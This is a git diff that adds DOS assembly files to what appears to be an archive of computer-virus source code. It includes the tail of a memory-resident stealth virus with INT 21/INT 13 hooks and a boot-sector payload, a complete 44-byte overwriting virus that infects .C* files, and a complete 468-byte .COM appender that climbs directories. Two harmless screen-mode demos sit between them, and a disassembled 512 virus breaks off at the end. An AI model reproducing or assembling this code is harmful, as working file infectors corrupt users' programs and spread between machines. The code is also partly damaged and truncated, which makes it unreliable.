+ and cs:data_85,0FFFEh ; (CS:12B3=0) + call sub_19 ; Restore REGS + call sub_24 ; INT 21 + jc loc_57 ; Jump if carry Set + test dh,80h + jz loc_56 ; Jump if zero + sub dh,0C8h +loc_56: + jmp loc_11 ; (033F) +loc_57: + or cs:data_85,1 ; (CS:12B3=0) + jmp loc_11 ; (033F) +loc_58: + cmp al,1 + jne loc_61 ; Jump if not equal + and cs:data_85,0FFFEh ; (CS:12B3=0) + test dh,80h + jz loc_59 ; Jump if zero + sub dh,0C8h +loc_59: + call sub_11 ; (09E6) + jz loc_60 ; Jump if zero + add dh,0C8h +loc_60: + call sub_24 ; INT 21 + mov [bp-4],ax + adc cs:data_85,0 ; (CS:12B3=0) + jmp loc_13 ; (0396) +_21_42: cmp al,2 + jne loc_61 ; Jump if not equal + call sub_11 ; (09E6) + jz loc_61 ; Jump if zero + sub word ptr [bp-0Ah],1000h + sbb word ptr [bp-8],0 +loc_61: + jmp loc_10 ; (030F) +_21_3F: and byte ptr cs:data_85,0FEh ; (CS:12B3=0) + call sub_11 ; (09E6) + jz loc_61 ; Jump if zero + mov cs:data_83,cx ; (CS:12AF=0) + mov cs:data_82,dx ; (CS:12AD=0) + mov cs:data_84,0 ; (CS:12B1=0) + call sub_12 ; (0A04) + mov ax,cs:data_80 ; (CS:12A9=0) + mov dx,cs:data_81 ; (CS:12AB=0) + sub ax,1000h + sbb dx,0 + sub ax,cs:data_78 ; (CS:12A5=0) + sbb dx,cs:data_79 ; (CS:12A7=0) + jns loc_62 ; Jump if not sign + mov word ptr [bp-4],0 + jmp loc_25 ; (0549) +loc_62: + jnz loc_63 ; Jump if not zero + cmp ax,cx + ja loc_63 ; Jump if above + mov cs:data_83,ax ; (CS:12AF=0) +loc_63: + mov dx,cs:data_78 ; (CS:12A5=0) + mov cx,cs:data_79 ; (CS:12A7=0) + or cx,cx ; Zero ? + jnz loc_64 ; Jump if not zero + cmp dx,1Ch + jbe loc_65 ; Jump if below or = +loc_64: + mov dx,cs:data_82 ; (CS:12AD=0) + mov cx,cs:data_83 ; (CS:12AF=0) + mov ah,3Fh ; '?' + call sub_24 ; INT 21 + add ax,cs:data_84 ; (CS:12B1=0) + mov [bp-4],ax + jmp loc_13 ; (0396) +loc_65: + mov si,dx + mov di,dx + add di,cs:data_83 ; (CS:12AF=0) + cmp di,1Ch + jb loc_66 ; Jump if below + xor di,di ; Zero register + jmp short loc_67 ; (0B35) +loc_66: + sub di,1Ch + neg di +loc_67: + mov ax,dx + mov cx,cs:data_81 ; (CS:12AB=0) + mov dx,cs:data_80 ; (CS:12A9=0) + add dx,0Fh + adc cx,0 + and dx,0FFF0h + sub dx,0FFCh + sbb cx,0 + add dx,ax + adc cx,0 + mov ax,4200h + call sub_24 ; INT 21 + mov cx,1Ch + sub cx,di + sub cx,si + mov ah,3Fh ; '?' + mov dx,cs:data_82 ; (CS:12AD=0) + call sub_24 ; INT 21 + add cs:data_82,ax ; (CS:12AD=0) + sub cs:data_83,ax ; (CS:12AF=0) + add cs:data_84,ax ; (CS:12B1=0) + xor cx,cx ; Zero register + mov dx,1Ch + mov ax,4200h + call sub_24 ; INT 21 + jmp loc_64 ; (0B04) +_21_40: and byte ptr cs:data_85,0FEh ; (CS:12B3=0) + call sub_11 ; (09E6) + jnz loc_68 ; Jump if not zero + jmp loc_61 ; (0AA2) +loc_68: + mov cs:data_83,cx ; (CS:12AF=0) + mov cs:data_82,dx ; (CS:12AD=0) + mov cs:data_84,0 ; (CS:12B1=0) + call sub_12 ; (0A04) + mov ax,cs:data_80 ; (CS:12A9=0) + mov dx,cs:data_81 ; (CS:12AB=0) + sub ax,1000h + sbb dx,0 + sub ax,cs:data_78 ; (CS:12A5=0) + sbb dx,cs:data_79 ; (CS:12A7=0) + js loc_69 ; Jump if sign=1 + jmp short loc_71 ; (0C47) +loc_69: + call sub_13 ; (0CC6) + push cs + pop ds + mov dx,data_80 ; (CS:12A9=0) + mov cx,data_81 ; (CS:12AB=0) + add dx,0Fh + adc cx,0 + and dx,0FFF0h + sub dx,0FFCh + sbb cx,0 + mov ax,4200h + call sub_24 ; INT 21 + mov dx,4 + mov cx,1Ch + mov ah,3Fh ; '?' + call sub_24 ; INT 21 + mov ax,4200h + xor cx,cx ; Zero register + mov dx,cx + call sub_24 ; INT 21 + mov dx,4 + mov cx,1Ch + mov ah,40h ; '@' + call sub_24 ; INT 21 + mov dx,0F000h + mov cx,0FFFFh + mov ax,4202h + call sub_24 ; INT 21 + mov ah,40h ; '@' + xor cx,cx ; Zero register + call sub_24 ; INT 21 + mov dx,data_78 ; (CS:12A5=0) + mov cx,data_79 ; (CS:12A7=0) + mov ax,4200h + call sub_24 ; INT 21 + mov ax,5700h + call sub_24 ; INT 21 + test dh,80h + jz loc_70 ; Jump if zero + sub dh,0C8h + mov ax,5701h + call sub_24 ; INT 21 +loc_70: + call sub_14 ; (0D6C) + jmp loc_10 ; (030F) +loc_71: + jnz loc_72 ; Jump if not zero + cmp ax,cx + ja loc_72 ; Jump if above + jmp loc_69 ; (0BC9) +loc_72: + mov dx,cs:data_78 ; (CS:12A5=0) + mov cx,cs:data_79 ; (CS:12A7=0) + or cx,cx ; Zero ? + jnz loc_73 ; Jump if not zero + cmp dx,1Ch + ja loc_73 ; Jump if above + jmp loc_69 ; (0BC9) +loc_73: + call sub_19 ; Restore REGS + call sub_24 ; INT 21 + call sub_17 ; Save REGS + mov ax,5700h + call sub_24 ; INT 21 + test dh,80h + jnz loc_74 ; Jump if not zero + add dh,0C8h + mov ax,5701h + call sub_24 ; INT 21 +loc_74: jmp loc_13 ; (0396) + jmp loc_10 ; (030F) + +int_13: pop word ptr cs:data_65 ; (CS:1241=0) + pop word ptr cs:data_65+2 ; (CS:1243=0) + pop cs:data_91 ; (CS:12DB=0) + and cs:data_91,0FFFEh ; (CS:12DB=0) + cmp byte ptr cs:data_90,0 ; (CS:12DA=0) + jne loc_75 ; Jump if not equal + push cs:data_91 ; (CS:12DB=0) + call dword ptr cs:old_INT ; (CS:122D=0) + jnc loc_76 ; Jump if carry=0 + inc cs:data_90 ; (CS:12DA=0) +loc_75: stc ; Set carry flag +loc_76: jmp dword ptr cs:data_65 ; (CS:1241=0) + +int_24: xor al,al ; Zero register + mov byte ptr cs:data_90,1 ; (CS:12DA=0) + iret ; Interrupt return + +; +; SUBROUTINE +; + +sub_13 proc near + mov byte ptr cs:data_90,0 ; (CS:12DA=0) + call sub_21 ; Save REGS in vir's stack + push cs + pop ds + mov al,13h + call sub_1 ; Get INT 13 vector + mov word ptr old_INT,bx ; (CS:122D=0) + mov word ptr old_INT+2,es ; (CS:122F=70h) + mov word ptr old_INT_13,bx ; (CS:1239=0) + mov word ptr old_INT_13+2,es ; (CS:123B=70h) + mov dl,0 + mov al,0Dh + call sub_1 ; Get INT 0D vector + mov ax,es + cmp ax,0C000h + jae loc_77 ; Jump if above or = + mov dl,2 +loc_77: + mov al,0Eh + call sub_1 ; Get INT 0E vector + mov ax,es + cmp ax,0C000h + jae loc_78 ; Jump if above or = + mov dl,2 +loc_78: + mov data_73,dl ; (CS:1250=0) + call sub_22 ; Set INT 01 for debuging + mov data_92,ss ; (CS:12DD=151Ch) + mov data_93,sp ; (CS:12DF=0) + push cs + mov ax,offset loc_79 + push ax + mov ax,70h + mov es,ax + mov cx,0FFFFh + mov al,0CBh + xor di,di ; Zero register + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al + dec di + pushf ; Push flags + push es + push di + pushf ; Push flags + pop ax + or ah,1 + push ax + in al,21h ; port 21h, 8259-1 int IMR + mov data_97,al ; (CS:12E5=0) + mov al,0FFh + out 21h,al ; port 21h, 8259-1 int comands + popf ; Pop flags + xor ax,ax ; Zero register + jmp dword ptr old_INT ; (CS:122D=0) +loc_79: + lds dx,old_INT_1 ; (CS:1231=0) Load 32 bit ptr + mov al,1 + call sub_27 ; Set INT 01 vector + push cs + pop ds + mov dx,offset int_13 + mov al,13h + call sub_27 ; Set INT 13 vector + mov al,24h + call sub_1 ; Get INT 24 vector + mov word ptr old_INT_24,bx ; (CS:123D=0) + mov word ptr old_INT_24+2,es ; (CS:123F=70h) + mov dx,offset int_24 + mov al,24h + call sub_27 ; Set INT 24 vector + call sub_20 ; Restore regs from vir's stack + retn +sub_13 endp + + +; +; SUBROUTINE +; + +sub_14 proc near + call sub_21 ; Save REGS in vir's stack + lds dx,dword ptr cs:old_INT_13 ; (CS:1239=0) Load 32 bit ptr + mov al,13h + call sub_27 ; Set INT 13 vector + lds dx,dword ptr cs:old_INT_24 ; (CS:123D=0) Load 32 bit ptr + mov al,24h + call sub_27 ; Set INT 24 vector + call sub_20 ; Restore regs from vir's stack + retn +sub_14 endp + + +; +; SUBROUTINE +; + +sub_15 proc near + mov ax,3300h ; Get CTRL-BREAK state + call sub_24 ; INT 21 + mov cs:data_94,dl ; (CS:12E1) save state + mov ax,3301h + xor dl,dl ; Set CTRL-BREAK = OFF + call sub_24 ; INT 21 + retn +sub_15 endp + + +; +; SUBROUTINE +; + +sub_16 proc near + mov dl,cs:data_94 ; (CS:12E1) + mov ax,3301h ; Restore CTRL-BREAK state + call sub_24 ; INT 21 + retn +sub_16 endp + + +; +; SUBROUTINE +; + +sub_17 proc near + pop cs:data_100 ; (CS:12EA=0) + pushf ; Push flags + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + jmp word ptr cs:data_100 ; (CS:12EA=0) +sub_17 endp + + +; +; SUBROUTINE +; + +sub_18 proc near + les di,dword ptr cs:ptr_INT_21 ; (CS:1235=0) Load 32 bit ptr + mov si,offset data_70 ; (CS:124B=0) + push cs + pop ds + cld ; Clear direction + mov cx,5 + +locloop_80: + lodsb ; String [si] to al + xchg al,es:[di] + mov [si-1],al + inc di + loop locloop_80 ; Loop if cx > 0 + + retn +sub_18 endp + + +; +; SUBROUTINE +; + +sub_19 proc near + pop cs:data_100 ; (CS:12EA=0) + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf ; Pop flags + jmp word ptr cs:data_100 ; (CS:12EA=0) + +; External Entry into Subroutine + +sub_20: + mov cs:data_114,offset sub_19 ; (CS:135D=0) Restore REGS + jmp short loc_81 ; (0DF6) + +; External Entry into Subroutine + +sub_21: + mov cs:data_114,offset sub_17 ; (CS:135D=0) Save REGS +loc_81: mov cs:data_112,ss ; (CS:1359=151Ch) + mov cs:data_111,sp ; (CS:1357=0) + push cs + pop ss + mov sp,cs:data_113 ; (CS:135B=0) + call word ptr cs:data_114 ; (CS:135D=0) + mov cs:data_113,sp ; (CS:135B=0) + mov ss,cs:data_112 ; (CS:1359=151Ch) + mov sp,cs:data_111 ; (CS:1357=0) + retn +sub_19 endp + + +; +; SUBROUTINE +; + +sub_22 proc near + mov al,1 + call sub_1 ; Get INT 01 vector + mov word ptr cs:old_INT_1,bx ; (CS:1231=0) + mov word ptr cs:old_INT_1+2,es ; (CS:1233=70h) + push cs + pop ds + mov dx,offset debug + call sub_27 ; Set INT 01 vector + retn +sub_22 endp + +_21_48: call sub_23 ; (0E3A) + jmp loc_10 ; (030F) + +; +; SUBROUTINE +; + +sub_23 proc near + cmp byte ptr cs:data_95,0 ; (CS:12E2=0) + je loc_ret_83 ; Jump if equal + cmp bx,0FFFFh + jne loc_ret_83 ; Jump if not equal + mov bx,160h + call sub_24 ; INT 21 + jc loc_ret_83 ; Jump if carry Set + mov dx,cs + cmp ax,dx + jb loc_82 ; Jump if below + mov es,ax + mov ah,49h + call sub_24 ; INT 21 + jmp short loc_ret_83 ; (0E8A) +loc_82: + dec dx + mov ds,dx + mov word ptr ds:MCB_0001,0 ; (7DBC:0001=275h) + inc dx + mov ds,dx + mov es,ax + push ax + mov cs:data_72,ax ; (CS:124E=7DBDh) + xor si,si ; Zero register + mov di,si + mov cx,all_len/2 + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + dec ax + mov es,ax + mov ax,cs:data_69 ; (CS:1249=0) + mov es:MCB_0001,ax ; (48FF:0001=0FFFFh) + mov ax,offset loc_ret_83 + push ax + retf +loc_ret_83: retn +sub_23 endp + +_21_37: mov byte ptr cs:data_104,2 ; (CS:12F0=0) + jmp loc_10 ; (030F) + +; +; SUBROUTINE +; + +sub_24 proc near ; calls INT 21 + pushf + call dword ptr cs:ptr_INT_21 ; (CS:1235=0) + retn +sub_24 endp + +boot: cli ; Disable interrupts + xor ax,ax ; Zero register + mov ss,ax + mov sp,7C00h + jmp short loc_85 ; (0EF4) + +data1 db 0dbh,0dbh,0dbh, 20h +data2 db 0f9h,0e0h,0e3h,0c3h + db 80h, 81h, 11h, 12h, 24h, 40h, 81h, 11h + db 12h, 24h, 40h,0F1h,0F1h, 12h, 24h, 40h + db 81h, 21h, 12h, 24h, 40h, 81h, 10h,0e3h + db 0C3h, 80h, 00h, 00h, 00h, 00h, 00h, 00h + db 00h, 00h, 00h, 00h, 82h, 44h,0F8h, 70h + db 0C0h, 82h, 44h, 80h, 88h,0C0h, 82h, 44h + db 80h, 80h,0C0h, 82h, 44h,0F0h, 70h,0C0h + db 82h, 28h, 80h, 08h,0C0h, 82h, 28h, 80h + db 88h, 00h,0F2h, 10h,0F8h, 70h,0C0h + +loc_85: push cs + pop ds + mov dx,0B000h + mov ah,0Fh + int 10h ; Video display ah=functn 0Fh + ; get state, al=mode, bh=page + cmp al,7 + je loc_86 ; Jump if equal + mov dx,0B800h +loc_86: + mov es,dx + cld ; Clear direction + xor di,di ; Zero register + mov cx,7D0h + mov ax,720h + rep stosw ; Rep when cx >0 Store ax to es:[di] + mov si,data2-boot+7C00h ; (CS:7C0E=0) + mov bx,2AEh +loc_87: + mov bp,5 + mov di,bx +loc_88: + lodsb ; String [si] to al + mov dh,al + mov cx,8 + +locloop_89: + mov ax,720h + shl dx,1 ; Shift w/zeros fill + jnc loc_90 ; Jump if carry=0 + mov al,0DBh +loc_90: + stosw ; Store ax to es:[di] + loop locloop_89 ; Loop if cx > 0 + + dec bp + jnz loc_88 ; Jump if not zero + add bx,0A0h + cmp si,loc_85-boot+7C00h + jb loc_87 ; Jump if below + mov ah,1 + int 10h ; Video display ah=functn 01h + ; set cursor mode in cx + mov al,8 + mov dx,loc_911-boot+7C00h + call sub_27 ; Set INT 08 vector + mov ax,7FEh + out 21h,al ; port 21h, 8259-1 int comands + ; al = 0FEh, IRQ0 (timer) only + sti ; Enable interrupts + xor bx,bx ; Zero register + mov cx,1 +loc_91: jmp short loc_91 ; SLEEP!!! +loc_911: dec cx ; INT 08 handler + jnz loc_92 ; Jump if not zero + xor di,di ; Zero register + inc bx + call sub_25 ; (0F67) + call sub_25 ; (0F67) + mov cl,4 +loc_92: + mov al,20h ; ' ' + out 20h,al ; port 20h, 8259-1 int command + ; al = 20h, end of interrupt + iret ; Interrupt return + +; +; SUBROUTINE +; + +sub_25 proc near + mov cx,28h + +locloop_93: + call sub_26 ; (0F93) + stosw ; Store ax to es:[di] + stosw ; Store ax to es:[di] + loop locloop_93 ; Loop if cx > 0 + +add1: add di,9Eh ; sub di,9Eh + mov cx,17h + +locloop_94: + call sub_26 ; (0F93) + stosw ; Store ax to es:[di] +add2: add di,9Eh ; sub di,9Eh + loop locloop_94 ; Loop if cx > 0 + +setd: std ; Set direction flag +_setd equ setd - boot + 7c00h + xor byte ptr ds:[_setd],1 ; (CS:7CE7=0) +_add1 equ add1 - boot + 7c01h + xor byte ptr ds:[_add1],28h ; (CS:7CD7=0) '(' +_add2 equ add2 - boot + 7c01h + xor byte ptr ds:[_add2],28h ; (CS:7CE2=0) '(' + retn +sub_25 endp + + +; +; SUBROUTINE +; + +sub_26 proc near + and bx,3 +_data1 equ data1 - boot + 7c00h + mov al,byte ptr ds:[_data1+bx] ; (CS:7C0A=0) + inc bx + retn +sub_26 endp + + +; +; SUBROUTINE +; + +sub_27 proc near + push es + push bx + xor bx,bx ; Zero register + mov es,bx + mov bl,al + shl bx,1 ; Shift w/zeros fill + shl bx,1 ; Shift w/zeros fill + mov es:[bx],dx + mov es:[bx+2],ds + pop bx + pop es + retn +sub_27 endp + + +; +; SUBROUTINE - *** DAMAGED BY STACK *** +; + +sub_28 proc near + call sub_13 ; (0CC6) + mov dl,1 + add [bp+si-4F2h],bl + pop es + jo $+2 ; Jump if overflow=1 + xor cx,word ptr ds:[32Eh] ; (0000:032E=0) + push di + sbb [bp+di],al + add byte ptr ds:[0],ah ; (0000:0000=5Bh) + add [bx+di],ah + add [bx+si+12h],dl + sbb dx,[bx] + loopnz $+11h ; Loop if zf=0, cx>0 + jnp $+23h ; Jump if not parity + db 0C1h, 02h, 31h, 41h, 7Ah, 16h + db 01h, 1Fh, 9Ah, 0Eh,0FBh, 07h + db 70h, 00h, 33h, 0Eh, 2Eh, 03h + db 57h, 18h, 57h, 1Fh,0A9h, 80h + db 00h, 00h, 57h, 1Fh +sub_28 endp + + org 1200h + +data_38 dw ? +data_40 dw ? +data_41 dw ?, ? +data_42 dw ? +data_43 dw ? +data_44 dw ? +data_45 dw ? +data_46 dw ?, ? +data_48 dw ? +data_49 dw ? + db 12 dup (?) +prm_blck_adr dw ?, ? +data_52 db ? +data_53 dw ? +data_54 dw ? +old_INT dd ? +old_INT_1 dd ? +ptr_INT_21 dd ? +old_INT_13 dd ? +old_INT_24 dd ? +data_65 dd ? +old_DS dw ? +data_68 dw ? +data_69 dw ? +data_70 db ? +data_71 dw ? +data_72 dw ? +data_73 db ? +data_74 db ? +data_75 db 50h dup (?) +data_76 db ? +data_77 dw ? +data_78 dw ? +data_79 dw ? +data_80 dw ? +data_81 dw ? +data_82 dw ? +data_83 dw ? +data_84 dw ? +data_85 dw ? +data_86 db 0Eh dup (?) +data_87 dw ? +data_88 dd ? + db ? +data_89 db 10h dup (?) +data_90 db ? +data_91 dw ? +data_92 dw ? +data_93 dw ? +data_94 db ? +data_95 db ? +old_AX dw ? +data_97 db ? +data_98 dw ? +data_99 dw ? +data_100 dw ? +data_101 dw ? +dos_ver db ? +data_103 db ? +data_104 db ? +exec_block db 0Eh dup (?) +data_106 dw ? +data_107 dw ? +entry_point dd ? +file_name db 50h dup (?) +data_111 dw ? +data_112 dw ? +data_113 dw ? +data_114 dw ? + +seg_a ends + + end + \ No newline at end of file diff --git a/0-9/43.ASM b/0-9/43.ASM new file mode 100755 index 0000000..3a81e85 --- /dev/null +++ b/0-9/43.ASM @@ -0,0 +1,37 @@ +; Basic little bitty program for people learning about the different modes +; you can stick on your monitor. This program will put you into 80*50 on a +; VGA monitor, and should be 80*43 on an EGA monitor (I dunno, haven't tested +; it.) Anyways, I tried to comment it so someone not knowing asm would be +; able to understand it. +; +; Coded by The Crypt Keeper/Kevin Marcus +; You may feel free to do absolutely anything to this code, so long as it is +; not distributed in a modified state. (Incorporate it in your programs, I +; don't care. Just do not change >THIS< program.) +; +; The Programmer's Paradise. (619)/457-1836 + +IDEAL ; Ideal Mode in TASM is t0tallie /< rad man. +DOSSEG ; Standard Segment shit. +MODEL tiny ; What model are we in?! +DATASEG ; Data Segment starts here, man. +exitcode db 0 ; 'exitcode' be zer0, man. +CODESEG ; Code Segment starts here, dude. + org 100h +Start: + mov ax,0003h ; stick 3 into ax. + int 10h ; Set up 80*25, text mode. Clear the screen, too. + + mov ax,1201h ; Woah! + mov bl,30h + int 10h ; Lets get ready for 80*43 on VGA man. + + mov ax,1112h ; We are gunna use the 8*8 internal font, man. + int 10h ; Hey man, call the interrupt. + +Exit: + + mov ah,4ch ; Lets ditch. + mov al,[exitcode] ; Make al 0. Why not xor!? Suck a ____. + int 21h ; "Make it so." + END Start ; No more program. \ No newline at end of file diff --git a/0-9/44.ASM b/0-9/44.ASM new file mode 100755 index 0000000..084ed6d --- /dev/null +++ b/0-9/44.ASM @@ -0,0 +1,99 @@ +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; +;****************************************************************************** +;* 44-virus version 1.0 +;* +;* Assemble with Tasm 1.01 +;* +;* The 44 virus is a non-resident overwriting virus with a lenght +;* of 44 bytes. It will infect all files with the extension .C* +;* in the current directory. +;* +;* (c) 1991 Dark Helmet +;* +;* The author is not responsible for any damage caused by the virus +;* +;****************************************************************************** + +virus segment + org 100h + assume cs:virus + +len equ offset last-100h + +start: mov ah,04eh ; Search first file with extension .c* + xor cx,cx ; Only normal files + lea dx,com_mask ; + int 21h + +open_file: mov ax,3d02h ; open file for read/write + mov dx,9eh + int 21h + +Infect: mov cx,len ; Write virus to start of file + lea dx,start + mov ah,40h + int 21h + +Next: mov ah,3eh ; Close file + int 21h + mov ah,4fh ; Search next file + int 21h + jnb open_file ; Are there any files left? + +com_mask: db "*.c*",0 ; mask +last: db 090h + +virus ends + end start + +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; + +;; +;> and Remember Don't Forget to Call <; +;> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <; +;; + diff --git a/0-9/468.asm b/0-9/468.asm new file mode 100755 index 0000000..4ed4869 --- /dev/null +++ b/0-9/468.asm @@ -0,0 +1,257 @@ +; virus from ALT-11 mag + +; --------------------------------------- +; +; Coded by: Azagoth +; --------------------------------------- +; Assemble using Turbo Assembler: +; tasm /m2 .asm +; tlink /t .obj +; --------------------------------------------------------------------------- +; - Non-Overwriting .COM infector (excluding COMMAND.COM) +; - COM growth: XXX bytes +; - It searches the current directory for uninfected files. If none are +; found, it searches previous directory until it reaches root and no more +; uninfected files are found. (One infection per run) +; - Also infects read-only files +; - Restores attributes, initial date/time-stamps, and original path. +; --------------------------------------------------------------------------- + + .model tiny + .code + + org 100h ; adjust for psp + +start: + + call get_disp ; push ip onto stack +get_disp: + pop bp ; bp holds current ip + sub bp, offset get_disp ; bp = code displacement + + ; original label offset is stored in machine code + ; so new (ip) - original = displacement of code + +save_path: + mov ah, 47h ; save cwd + xor dl, dl ; 0 = default drive + lea si, [bp + org_path] + int 21h + +get_dta: + mov ah, 2fh + int 21h + + mov [bp + old_dta_off], bx ; save old dta offset + +set_dta: ; point to dta record + mov ah, 1ah + lea dx, [bp + dta_filler] + int 21h + +search: + mov ah, 4eh ; find first file + mov cx, [bp + search_attrib] ; if successful dta is + lea dx, [bp + search_mask] ; created + int 21h + jnc clear_attrib ; if found, continue + +find_next: + mov ah, 4fh ; find next file + int 21h + jnc clear_attrib + +still_searching: + mov ah, 3bh + lea dx, [bp + previous_dir] ; cd .. + int 21h + jnc search + jmp bomb ; at root, no more files + +clear_attrib: + mov ax, 4301h + xor cx, cx ; get rid of attributes + lea dx, [bp + dta_file_name] + int 21h + +open_file: + mov ax, 3D02h ; AL=2 read/write + lea dx, [bp + dta_file_name] + int 21h + + xchg bx, ax ; save file handle + ; bx won't change from now on +check_if_command_com: + cld + lea di, [bp + com_com] + lea si, [bp + dta_file_name] + mov cx, 11 ; length of 'COMMAND.COM' + repe cmpsb ; repeat while equal + jne check_if_infected + jmp close_file + +check_if_infected: + mov dx, word ptr [bp + dta_file_size] ; only use first word since + ; COM file + sub dx, 2 ; file size - 2 + + mov ax, 4200h + mov cx, 0 ; cx:dx ptr to offset from + int 21h ; origin of move + + mov ah, 3fh ; read last 2 characters + mov cx, 2 + lea dx, [bp + last_chars] + int 21h + + mov ah, [bp + last_chars] + cmp ah, [bp + virus_id] + jne save_3_bytes + mov ah, [bp + last_chars + 1] + cmp ah, [bp + virus_id + 1] + jne save_3_bytes + jmp close_file + +save_3_bytes: + mov ax, 4200h ; 00=start of file + xor cx, cx + xor dx, dx + int 21h + + mov ah, 3Fh + mov cx, 3 + lea dx, [bp + _3_bytes] + int 21h + +goto_eof: + mov ax, 4202h ; 02=End of file + xor cx, cx ; offset from origin of move + xor dx, dx ; (i.e. nowhere) + int 21h ; ax holds file size + + ; since it is a COM file, overflow will not occur + +save_jmp_displacement: + sub ax, 3 ; file size - 3 = jmp disp. + mov [bp + jmp_disp], ax + +write_code: + mov ah, 40h + mov cx, virus_length ;*** equate + lea dx, [bp + start] + int 21h + +goto_bof: + mov ax, 4200h + xor cx, cx + xor dx, dx + int 21h + +write_jmp: ; to file + mov ah, 40h + mov cx, 3 + lea dx, [bp + jmp_code] + int 21h + + inc [bp + infections] + +restore_date_time: + mov ax, 5701h + mov cx, [bp + dta_file_time] + mov dx, [bp + dta_file_date] + int 21h + +close_file: + mov ah, 3eh + int 21h + +restore_attrib: + xor ch, ch + mov cl, [bp + dta_file_attrib] ; restore original attributes + mov ax, 4301h + lea dx, [bp + dta_file_name] + int 21h + +done_infecting?: + mov ah, [bp + infections] + cmp ah, [bp + max_infections] + jz bomb + jmp find_next + + +bomb: + +; cmp bp, 0 +; je restore_path ; original run +; +;---- Stuff deleted + +restore_path: + mov ah, 3bh ; when path stored + lea dx, [bp + root] ; '\' not included + int 21h + + mov ah, 3bh ; cd to original path + lea dx, [bp + org_path] + int 21h + +restore_dta: + mov ah, 1ah + mov dx, [bp + old_dta_off] + int 21h + +restore_3_bytes: ; in memory + lea si, [bp + _3_bytes] + mov di, 100h + cld ; auto-inc si, di + mov cx, 3 + rep movsb + +return_control_or_exit?: + cmp bp, 0 ; bp = 0 if original run + je exit + mov di, 100h ; return control back to prog + jmp di ; -> cs:100h + +exit: + mov ax, 4c00h + int 21h + +;-------- Variable Declarations -------- + +old_dta_off dw 0 ; offset of old dta address + +;-------- dta record +dta_filler db 21 dup (0) +dta_file_attrib db 0 +dta_file_time dw 0 +dta_file_date dw 0 +dta_file_size dd 0 +dta_file_name db 13 dup (0) +;-------- +search_mask db '*.COM',0 ; files to infect: *.COM +search_attrib dw 00100111b ; all files a,s,h,r +com_com db 'COMMAND.COM' + +previous_dir db '..',0 +root db '\',0 +org_path db 64 dup (0) ; original path + +infections db 0 ; counter +max_infections db 1 + +_3_bytes db 0, 0, 0 +jmp_code db 0E9h +jmp_disp dw 0 + +last_chars db 0, 0 ; do last chars = ID ? + +virus_id db 'AZ' + +eov: ; end of virus + +virus_length equ offset eov - offset start + + end start + + \ No newline at end of file diff --git a/0-9/50.ASM b/0-9/50.ASM new file mode 100755 index 0000000..10b6ee2 --- /dev/null +++ b/0-9/50.ASM @@ -0,0 +1,33 @@ +; Basic little bitty program for people learning about the different modes +; you can stick on your monitor. This program will put you into 80*50 on a +; VGA monitor, and should be 80*43 on an EGA monitor (I dunno, haven't tested +; it.) Anyways, I tried to comment it so someone not knowing asm would be +; able to understand it. +; +; Coded by The Crypt Keeper/Kevin Marcus +; You may feel free to do absolutely anything to this code, so long as it is +; not distributed in a modified state. (Incorporate it in your programs, I +; don't care. Just do not change >THIS< program.) +; +; The Programmer's Paradise. (619)/457-1836 + +IDEAL ; Ideal Mode in TASM is t0tallie /< rad man. +DOSSEG ; Standard Segment shit. +MODEL tiny ; What model are we in?! +DATASEG ; Data Segment starts here, man. +exitcode db 0 ; 'exitcode' be zer0, man. +CODESEG ; Code Segment starts here, dude. + org 100h +Start: + mov ax,0003h ; stick 3 into ax. + int 10h ; Set up 80*25, text mode. Clear the screen, too. + + mov ax,1112h ; We are gunna use the 8*8 internal font, man. + int 10h ; Hey man, call the interrupt. + +Exit: + + mov ah,4ch ; Lets ditch. + mov al,[exitcode] ; Make al 0. Why not xor!? Suck a ____. + int 21h ; "Make it so." + END Start ; No more program. \ No newline at end of file diff --git a/0-9/512-X (11).ASM b/0-9/512-X (11).ASM new file mode 100755 index 0000000..fbb9535 --- /dev/null +++ b/0-9/512-X (11).ASM @@ -0,0 +1,304 @@ +;NAME: 512-X.C-M +;FILE SIZE: 00200h - 512d +;START (CS:IP): 00100h +;CODE END: 00300h +;CODE ORIGIN: 00100h +;DATE: Wed Aug 05 13:56:29 1992 + +CODE SEGMENT BYTE PUBLIC 'CODE' +ASSUME CS:CODE,DS:CODE,ES:NOTHING,SS:NOTHING + +P00100 PROC + ORG 0100h + +H00100: MOV AH,30h ;00100 B430 _0 + INT 21h ;2-DOS_Ver ;00102 CD21 _! + MOV SI,0004h ;00104 BE0400 ___ + MOV DS,SI ;DS_Chg ;00107 8EDE __ + CMP AH,1Eh ;00109 80FC1E ___ + LDS AX,[SI+08h] ;0010C C54408 _D_ + JB H0011B ;0010F 720A r_ + MOV AH,13h ;00111 B413 __ + INT 